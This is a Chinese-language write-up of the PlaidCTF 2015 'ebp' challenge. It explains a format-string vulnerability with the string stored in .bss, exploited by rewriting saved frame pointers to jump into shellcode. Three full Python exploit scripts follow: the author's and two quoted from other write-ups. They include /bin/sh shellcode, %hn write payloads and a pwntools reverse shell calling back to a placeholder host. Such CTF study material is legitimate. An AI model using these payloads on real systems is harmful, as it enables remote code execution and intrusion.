很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。
不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。
第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。
第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。
这样,echo在返回的时候将执行shellcode。
比赛时自己的poc如下:
from socket import *
import time
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
sock = socket(AF_INET, SOCK_STREAM)
#sock.connect(("192.168.200.7", 10001)) #local debug
sock.connect(("52.6.64.173", 4545))#remote
time.sleep(1)
infoleak="%x%x%x%x\n"
sock.send(infoleak)
time.sleep(1)
leak=sock.recv(1024)
print leak
echo_ebp=leak[-6:-2]
print echo_ebp
echo_ebp=int(echo_ebp,16)
make_ebp=echo_ebp-32
main_ebp=echo_ebp+32
print hex(make_ebp) format1="%%%dc" % make_ebp + "%4$hn\n"
sock.send(format1)
print sock.recv(1024) format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
sock.send(format2)
print sock.recv(1024) while 1:
sock.send(raw_input('$ ')+'\n')
time.sleep(1)
print sock.recv(1024)
sock.close()
结果:
此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。
import socket
import struct
import telnetlib response = 0x0804a480 offset = 4 # saved frame pointer offset shellcode = ( # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x54"
"\x5b\x52\x53\x54\x59\x0f\x34"
) s = socket.create_connection(("52.6.64.173", 4545 ))
#s = socket.create_connection(("127.0.0.1", 8080 ))
s.send("%4$p\n")
addr = int(s.recv(1024), 16)
print "[+] Leaked Address: ", hex(addr)
addr1 = (addr - 0x1c) & 0xffff
print "[+] 2Byte Significant Byte to write : ", hex(addr1) s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
s.recv(4096) s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
print "[+] Here you go"
t = telnetlib.Telnet()
t.sock = s
t.interact()
还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:
#!/usr/bin/env python
from pwn import * r = remote("52.6.64.173", 4545) buf_addr = p32(0x0804a080)
sc_addr = p32(0x0804A09b) payload = ""
payload += "%134520975u%4$n"
payload += buf_addr
payload += sc_addr
payload += "AAAA" payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
payload += asm(shellcraft.linux.dupsh()) print "+ sending payload"
r.send(payload + "\n")
print "+ got back:", r.recv()